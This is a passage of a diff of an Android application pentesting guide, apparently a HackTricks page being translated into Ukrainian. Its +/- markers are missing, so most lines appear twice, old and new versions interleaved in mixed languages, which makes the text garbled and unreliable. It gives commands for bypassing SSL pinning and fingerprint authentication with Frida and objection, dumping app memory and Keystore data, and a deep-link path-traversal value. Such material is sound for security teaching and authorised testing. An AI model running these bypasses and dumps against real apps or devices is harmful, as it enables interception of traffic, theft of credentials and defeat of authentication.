Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks.
Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leak.
**Crash Logs**
@ -341,23 +339,23 @@ You can also start an exported activity from adb:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**ПРИМІТКА**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
> [!TIP]
> Зауважте, що authorisation bypass не завжди є вразливістю — це залежатиме від того, як bypass працює і яка інформація розкривається.
> Зверніть увагу, що an authorisation bypass не завжди є вразливістю — це залежить від того, як bypass працює і яка інформація розкривається.
**Sensitive information leakage**
**Витік чутливої інформації**
**Activities can also return results**. Якщо вам вдасться знайти експортовану та незахищену activity, яка викликає метод **`setResult`** і **повертає конфіденційну інформацію**, відбувається sensitive information leakage.
**Activities can also return results**. Якщо вам вдасться знайти exported і unprotected activity, яка викликає метод **`setResult`** і повертає чутливу інформацію, це призводить до витоку чутливої інформації.
#### Tapjacking
If Tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
Якщо Tapjacking не запобігається, ви можете зловживати exported activity, щоб змусити користувача виконати unexpected дії. For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers по суті використовуються для обміну даними. Якщо в додатку доступні content providers, ви можете вивести з них **конфіденційні** дані. Також варто протестувати на можливі **SQL injections** і **Path Traversals**, оскільки вони також можуть бути вразливими.
Content providers, в основному, використовуються для **обміну даними**. Якщо в додатку доступні content providers, ви можете змогли б **отримати чутливі** дані з них. Також варто перевірити можливі **SQL injections** і **Path Traversals**, оскільки вони можуть бути вразливими.
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
@ -366,7 +364,7 @@ Content providers по суті використовуються для обмі
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Пам'ятайте, що дії Service починаються в методі `onStartCommand`.
Service по суті — це те, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тому, якщо додаток експортує якісь services, варто **перевірити** **код**, щоб зрозуміти, що він робить, і **протестувати** його **динамічно** для вилучення конфіденційної інформації, обходу заходів автентифікації тощо.\
Сервіс по суті — це те, що **може отримувати дані**, **обробляти** їх і **повертати** (або ні) відповідь. Тому, якщо додаток експортує якісь сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **протестувати** його **динамічно** для отримання конфіденційної інформації, обходу механізмів автентифікації тощо.\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
@ -374,37 +372,37 @@ Service по суті — це те, що **може отримувати дан
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Пам'ятайте, що дії Broadcast Receiver починаються в методі `onReceive`.
Broadcast receiver очікує на певний тип повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\
Broadcast receiver очікує певний тип повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Ви можете **відкрити** оголошену **scheme** за допомогою **adb** або **browser**:
You can **open** a declared **scheme** using **adb** or a **browser**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Зверніть увагу, що ви можете **пропустити ім’я пакета** і мобільний пристрій автоматично викличе додаток, який має відкрити це посилання._
_Note that you can **omit the package name** and the mobile will automatically call the app that should open that link._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**Code executed**
**Код, що виконається**
In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**.
Щоб знайти **код, який буде виконаний в App**, перейдіть до activity, викликаної deeplink, і знайдіть функцію **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
**Чутлива інформація**
Every time you find a deep link check that i**t's not receiving sensitive data (like passwords) via URL parameters**, because any other application could **impersonate the deep link and steal that data!**
Кожного разу, коли ви знаходите deep link, перевіряйте, чи i**t's not receiving sensitive data (like passwords) via URL parameters**, тому що будь-який інший додаток може **імітувати deep link і вкрасти ці дані!**
**Parameters in path**
You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
Ви **також повинні перевірити, чи якийсь deep link не використовує параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити path traversal, звернувшись, наприклад, до: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Зверніть увагу, що якщо ви знайдете правильні endpoints всередині додатку, ви можете спричинити **Open Redirect** (якщо частина шляху використовується як домен), **account takeover** (якщо ви можете змінити деталі користувача без CSRF token і вразливий endpoint використовував правильний метод) та будь-яку іншу vuln. Більше [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
@ -412,34 +410,34 @@ An [interesting bug bounty report](https://hackerone.com/reports/855618) about l
### Transport Layer Inspection and Verification Failures
- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities.
- **Certificates are not always inspected properly** by Android applications. Часто такі додатки ігнорують попередження й приймають self-signed certificates або, в деяких випадках, повертаються до використання HTTP-з’єднань.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, застосовуючи небезпечні cipher suites. Ця вразливість робить з’єднання вразливим до man-in-the-middle (MITM) атак, дозволяючи атакуючим розшифровувати дані.
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. Такий підхід не захищає чутливі дані, наприклад session cookies або відомості користувачів, від перехоплення зловмисниками.
#### Certificate Verification
We will focus on **certificate verification**. The integrity of the server's certificate must be verified to enhance security. This is crucial because insecure TLS configurations and the transmission of sensitive data over unencrypted channels can pose significant risks. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance.
Ми зосередимося на **certificate verification**. Необхідно перевіряти цілісність сертифіката сервера для підвищення безпеки. Це критично, оскільки ненадійні налаштування TLS та передача чутливих даних по незашифрованих каналах можуть становити значні ризики. Для детальних кроків з перевірки сертифікатів сервера та усунення вразливостей — [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) містить вичерпні вказівки.
#### SSL Pinning
SSL Pinning is a security measure where the application verifies the server's certificate against a known copy stored within the application itself. This method is essential for preventing MITM attacks. Implementing SSL Pinning is strongly recommended for applications handling sensitive information.
SSL Pinning — це захід безпеки, коли додаток перевіряє сертифікат сервера проти відомої копії, збереженої всередині самого додатку. Цей метод є важливим для запобігання MITM-атакам. Рекомендовано реалізувати SSL Pinning для додатків, що працюють з чутливою інформацією.
#### Traffic Inspection
To inspect HTTP traffic, it's necessary to **install the proxy tool's certificate** (e.g., Burp). Without installing this certificate, encrypted traffic might not be visible through the proxy. For a guide on installing a custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Для інспекції HTTP-трафіку необхідно **встановити сертифікат проксі-інструмента** (наприклад, Burp). Без встановлення цього сертифіката зашифрований трафік може бути невидимим через проксі. Інструкцію зі встановлення кастомного CA-сертифіката дивіться [**тут**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Applications targeting **API Level 24 and above** require modifications to the Network Security Config to accept the proxy's CA certificate. This step is critical for inspecting encrypted traffic. For instructions on modifying the Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Додатки, що таргетять **API Level 24 and above**, вимагають змін у Network Security Config, щоб приймати CA-сертифікат проксі. Це критичний крок для інспекції зашифрованого трафіку. Інструкції зі зміни Network Security Config дивіться [**туторіал**](make-apk-accept-ca-certificate.md).
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
Якщо використовується **Flutter**, потрібно слідувати інструкціям на [**цій сторінці**](flutter.md). Просто додати сертифікат у сховище може бути недостатньо, оскільки Flutter має власний список дійсних CA.
#### Static detection of SSL/TLS pinning
Before attempting runtime bypasses, quickly map where pinning is enforced in the APK. Static discovery helps you plan hooks/patches and focus on the right code paths.
Перед тим як намагатися runtime bypasses, швидко знайдіть, де саме в APK запроваджено pinning. Статичне виявлення допомагає спланувати hooks/patches і зосередитися на потрібних code paths.
Tool: SSLPinDetect
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
- Reports exact file path, line number, and a code snippet for each match.
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
- Open-source static-analysis utility, що декомпілює APK у Smali (через apktool) і сканує за курованими regex-патернами реалізацій SSL/TLS pinning.
- Повертає точний file path, номер рядка та фрагмент коду для кожного збігу.
- Покриває поширені фреймворки та кастомні шляхи: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, та Network Security Config XML pins.
Install
- Prereqs: Python >= 3.8, Java on PATH, apktool
@ -456,8 +454,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Приклади шаблонних правил (JSON)
Використовуйте або розширюйте signatures для виявлення proprietary/custom pinning styles. Ви можете завантажити власний JSON і scan at scale.
Приклад правил шаблонів (JSON)
Використовуйте або розширюйте signatures для виявлення proprietary/custom pinning стилів. Ви можете завантажити власний JSON і виконувати масштабне сканування.
```json
{
"OkHttp Certificate Pinning": [
@ -471,55 +469,55 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
]
}
```
Нотатки та поради
- Швидке сканування великих додатків за допомогою мультипотоковості та memory-mapped I/O; попередньо скомпільовані regex знижують накладні витрати й хибні спрацьовування.
- Колекція шаблонів: https://github.com/aancw/smali-sslpin-patterns
- Типові цілі для виявлення, які слід розглянути далі:
- OkHttp: використання CertificatePinner, setCertificatePinner, посилання на pakети okhttp3/okhttp
- Користувацькі TrustManagers: javax.net.ssl.X509TrustManager, перевизначення checkServerTrusted
- Користувацькі SSL контексти: SSLContext.getInstance + SSLContext.init з кастомними менеджерами
- Декларативні pins у res/xml network security config та посилання в manifest
- Використайте знайдені місця, щоб спланувати Frida hooks, статичні патчі або перевірку конфігурацій перед динамічним тестуванням.
Поради та підказки
- Швидке сканування великих додатків через multi-threading та memory-mapped I/O; pre-compiled regex зменшує накладні витрати/хибні спрацьовування.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- Типові цілі для виявлення та подальшої триажі:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- Використовуйте знайдені локації для планування Frida hooks, static patches або перевірки конфігурацій перед динамічним тестуванням.
#### Обхід SSL Pinning
#### Bypassing SSL Pinning
Коли реалізовано SSL Pinning, обходи стають необхідними для інспекції HTTPS-трафіку. Існують різні методи для цього:
Коли реалізовано SSL Pinning, його необхідно обійти для інспекції HTTPS-трафіку. Існують різні методи для цього:
- Автоматично **змінити** **apk** щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Головний плюс — не потрібно root для обходу SSL Pinning, але потрібно видалити додаток і встановити модифікований, і це не завжди працює.
- Можна використати **Frida** (описано нижче) для обходу цього захисту. Тут є керівництво для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Також можна спробувати **автоматично обійти SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Також можна спробувати **автоматично обійти SSL Pinning** за допомогою **MobSF dynamic analysis** (пояснено нижче)
- Якщо ви все ще думаєте, що якийсь трафік не потрапляє у ваші логі, можна спробувати **форвардити трафік в burp за допомогою iptables**. Читайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Автоматично **modify** the **apk** щоб **bypass** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Головна перевага цього варіанту в тому, що вам не знадобиться root для обходу SSL Pinning, але доведеться видалити додаток і перевстановити змінений, і це не завжди працює.
- Можна використовувати **Frida** (описана нижче) для обходу цього захисту. Ось гайд для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Також можна спробувати **automatically bypass SSL Pinning** використовуючи [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Також можна спробувати **automatically bypass SSL Pinning** використовуючи **MobSF dynamic analysis** (пояснено нижче)
- Якщо ви все ще вважаєте, що якийсь трафік не захоплюється, можна спробувати **forward the traffic to burp using iptables**. Читайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Пошук поширених веб-вразливостей
#### Looking for Common Web Vulnerabilities
Важливо також шукати поширені веб-вразливості у додатку. Детальна інформація про їх ідентифікацію та пом'якшення виходить за рамки цього короткого огляду, але докладно висвітлена в інших джерелах.
Важливо також шукати загальні web-вразливості всередині додатка. Детальна інформація про виявлення та пом'якшення цих вразливостей виходить за рамки цього огляду, але широко описана в інших джерелах.
### Frida
[Frida](https://www.frida.re) — це комплект інструментів динамічної інструментації для розробників, реверс-інженерів та фахівців з безпеки.\
**Ви можете отримати доступ до запущеного додатку й перехоплювати методи під час виконання, щоб змінювати поведінку, змінювати значення, витягувати значення, виконувати інший код...**\
Якщо ви хочете pentest Android-додатки, вам потрібно вміти користуватися Frida.
[Frida](https://www.frida.re) — це тулкіт для динамічної інструментації для розробників, реверс-інженерів і security researcher-ів.\
**Ви можете отримати доступ до запущеного додатка і hook методи під час виконання, щоб змінювати поведінку, змінювати значення, витягувати значення, виконувати інший код...**\
Якщо ви хочете pentest Android додатки, ви повинні вміти користуватись Frida.
- Дізнатися, як користуватися Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Деякі "GUI" для роботи з Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection чудово автоматизує використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Деякі корисні Frida-скрипти можна знайти тут: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Спробуйте обійти механізми anti-debugging / anti-frida, завантажуючи Frida як вказано в [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (інструмент [linjector](https://github.com/erfur/linjector-rs))
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Спробуйте обійти anti-debugging / anti-frida механізми, завантаживши Frida як вказано тут [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Анти-інструментація & workflow обходу SSL pinning
#### Anti-instrumentation & SSL pinning bypass workflow
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Дамп пам'яті - Fridump**
### **Dump Memory - Fridump**
Перевірте, чи додаток зберігає в пам'яті чутливу інформацію, якої не повинен зберігати — наприклад паролі чи мнемоніки.
Перевірте, чи додаток не зберігає в пам'яті конфіденційну інформацію, яку не повинен зберігати, наприклад паролі або мнемоніки.
Використовуючи [**Fridump3**](https://github.com/rootbsd/fridump3) ви можете дампнути пам'ять додатку за допомогою:
Використовуючи [**Fridump3**](https://github.com/rootbsd/fridump3) ви можете зробити dump пам'яті додатка за допомогою:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -528,63 +526,65 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Це зробить dump пам'яті в папку ./dump, а в ній ви можете виконати grep приблизно так:
Це вивантажить пам'ять у папку ./dump, і там ви можете виконати grep за допомогою чогось на кшталт:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Sensitive data in Keystore**
### **Чутливі дані в Keystore**
В Android Keystore — найкраще місце для зберігання чутливих даних, однак за наявності достатніх привілеїв все ще **можна отримати до нього доступ**. Оскільки додатки часто зберігають тут **sensitive data in clear text**, pentests мають перевіряти це, оскільки root user або особа з фізичним доступом до пристрою може викрасти ці дані.
В Android Keystore — найкраще місце для зберігання чутливих даних, однак при наявності достатніх привілеїв все ще **можна отримати до нього доступ**.
Навіть якщо додаток зберіг дані в keystore, дані мають бути зашифровані.
Оскільки додатки схильні зберігати тут **sensitive data in clear text**, pentests мають перевіряти це під root або особою з фізичним доступом до пристрою, яка може вкрасти ці дані.
Щоб отримати доступ до даних всередині keystore, можна використати цей Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Навіть якщо додаток зберіг дані в Keystore, ці дані повинні бути зашифровані.
Щоб отримати доступ до даних у Keystore, можна використати цей Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Використовуючи наведений Frida script, можливо обійти **bypass fingerprint authentication**, яку застосунки Android можуть реалізовувати для **захисту певних чутливих областей:**
Використовуючи наступний Frida-скрипт, можливо виконати **bypass fingerprint authentication**, яке Android-додатки можуть використовувати для **захисту певних чутливих областей:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Фонові зображення**
Коли ви переводите застосунок у фоновий режим, Android зберігає **знімок застосунку**, тож під час повернення на передній план система спочатку завантажує це зображення, щоб здавалося, що застосунок відкрився швидше.
Коли ви переводите застосунок у фон, Android зберігає **snapshot of the application**, тож при поверненні на передній план система спочатку завантажує це зображення перед самим застосунком, щоб здавалося, ніби застосунок відкрився швидше.
Однак якщо цей знімок містить **чутливу інформацію**, хтось із доступом до нього може **вкрасти цю інформацію** (зауважте, що для доступу потрібні root-права).
Однак, якщо цей snapshot містить **чутливу інформацію**, людина з доступом до snapshot може **вкрасти ці дані** (зверніть увагу, що для доступу потрібен root).
Зазвичай знімки зберігаються за шляхом: **`/data/system_ce/0/snapshots`**
Snapshots зазвичай зберігаються за шляхом: **`/data/system_ce/0/snapshots`**
Android надає спосіб **запобігти захопленню скріншоту, встановивши параметр макету FLAG_SECURE**. Використовуючи цей прапорець, вміст вікна позначається як захищений, що запобігає його появі у скріншотах або перегляду на незахищених дисплеях.
Android надає можливість **запобігти захопленню знімків екрана, встановивши параметр макета FLAG_SECURE**. Використовуючи цей флаг, вміст вікна вважається захищеним, що запобігає його появі у знімках екрана або перегляду на ненадійних дисплеях.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
Цей інструмент може допомогти вам керувати різними інструментами під час динамічного аналізу: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Цей інструмент може допомогти вам керувати різними інструментами під час dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Розробники часто створюють проксі-компоненти, такі як activities, services та broadcast receivers, які обробляють ці Intents і передають їх у методи на кшталт `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
Розробники часто створюють proxy components, такі як activities, services і broadcast receivers, які обробляють ці Intents і передають їх у методи, такі як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
Небезпека полягає в тому, що це дозволяє атакуючим спровокувати non-exported app components або отримати доступ до чутливих content providers, перенаправивши ці Intents. Помітний приклад — компонент `WebView`, який перетворює URL у `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може привести до шкідливої інжекції Intent.
Небезпека полягає в тому, що атака може змусити виконати non-exported app components або отримати доступ до чутливих content providers, неправильно скерувавши ці Intents. Помітний приклад — компонент `WebView`, який перетворює URL у `Intent` об'єкти через `Intent.parseUri(...)` і потім виконує їх, що потенційно може призвести до malicious Intent injections.
### Essential Takeaways
- **Intent Injection** схожа на веб-проблему Open Redirect.
- Експлойти можуть передавати об'єкти `Intent` як extras, які потім перенаправляються для виконання небезпечних операцій.
- Це може відкрити доступ атакуючим до non-exported components та content providers.
- Перетворення URL у `Intent` в WebView може сприяти небажаним діям.
- **Intent Injection** схоже на Open Redirect у web.
- Експлойти включають передачу `Intent` об'єктів як extras, які можуть бути перенаправлені для виконання небезпечних операцій.
- Це може відкрити non-exported components та content providers для атакуючих.
- Конвертація URL у `Intent` компонентом `WebView` може сприяти небажаним діям.
### Android Client Side Injections and others
Ймовірно ви знаєте про цей тип вразливостей із Web. Слід бути особливо обережним з такими вразливостями в Android-додатку:
Ймовірно, ви знайомі з цими типами вразливостей з Web. У Android application необхідно бути особливо уважним щодо таких вразливостей:
- **SQL Injection:** При роботі з динамічними запитами або Content-Providers переконайтеся, що використовуєте parameterized queries.
- **JavaScript Injection (XSS):** Перевірте, що підтримка JavaScript та плагінів вимкнена для будь-яких WebViews (вимкнена за замовчуванням). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews повинні мати доступ до файлової системи вимкненим (увімкнено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: У кількох випадках, коли android application завершує сесію, cookie не відкликається або може бути навіть збережено на диску
- **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries.
- **JavaScript Injection (XSS):** Переконайтеся, що підтримка JavaScript та Plugin вимкнена для будь-яких WebViews (disabled by default). [Детальніше тут](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews повинні мати доступ до файлової системи вимкненим (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Детальніше тут](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: У ряді випадків, коли android application завершує сесію, cookie не відкликається або може навіть зберігатися на диску
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -593,55 +593,55 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
**Статичний аналіз**
**Static analysis**
![](<../../images/image (866).png>)
**Оцінка вразливостей додатку** за допомогою зручного web-based frontend. Ви також можете виконати dynamic analysis (але потрібно підготувати середовище).
**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Додатки Windows потрібно аналізувати за допомогою MobSF, встановленого на хості Windows_).\
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
Зверніть увагу, що MobSF може аналізувати **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
Також, якщо ви створите **ZIP** файл зі вихідним кодом якщо **Android** або **IOS** app (перейдіть у кореневу папку застосунку, виділіть усе і створіть ZIPfile), воно також зможе його аналізувати.
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
MobSF також дозволяє робити **diff/Compare** аналізи та інтегрувати **VirusTotal** (вам потрібно встановити ваш API key у _MobSF/settings.py_ і увімкнути його: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` у `False`, тоді **hash** буде **upload** замість файлу.
### Допоміжний динамічний аналіз з MobSF
### Асистований динамічний аналіз з MobSF
**MobSF** також дуже корисний для **dynamic analysis** в **Android**, але в цьому випадку потрібно встановити MobSF та **genymotion** на ваш хост (VM або Docker не підходять). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF** також може бути дуже корисним для **dynamic analysis** в **Android**, але в цьому випадку вам потрібно встановити MobSF та **genymotion** на вашому хості (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF dynamic analyser** може:
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Усе це робиться автоматично, крім скриншотів — їх потрібно робити вручну або натиснути "**Exported Activity Tester**", щоб отримати скриншоти всіх exported activities.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
- **Dump application data** (URLs, логи, clipboard, скриншоти, зроблені вами, скриншоти зроблені "**Exported Activity Tester**", emails, SQLite бази даних, XML файли і інші створені файли). Усе це робиться автоматично, окрім скриншотів — їх потрібно робити вручну або натиснути "**Exported Activity Tester**", щоб отримати скриншоти всіх exported activities.
- Перехоплювати **HTTPS traffic**
- Використовувати **Frida** для отримання **runtime** **information**
З android **versions > 5** він **автоматично запускатиме Frida** і встановлюватиме глобальні налаштування **proxy** для **перехоплення** трафіку. Він перехоплюватиме трафік лише з тестованого застосунку.
Для android **versions > 5**, воно **automatically start Frida** і встановить глобальні налаштування **proxy** для **capture** трафіку. Воно перехоплюватиме трафік лише від тестованого застосунку.
**Frida**
За замовчуванням використовуються деякі Frida Scripts для **bypass SSL pinning**, **root detection** і **debugger detection** та для **моніторингу цікавих API**.\
MobSF також може **викликати exported activities**, робити їх **скриншоти** і **зберігати** їх для звіту.
За замовчуванням також використовуються деякі Frida Scripts для **bypass SSL pinning**, **root detection** та **debugger detection**, а також для **monitor interesting APIs**.\
MobSF також може **invoke exported activities**, захоплювати **screenshots** цих активностей і **save** їх у звіті.
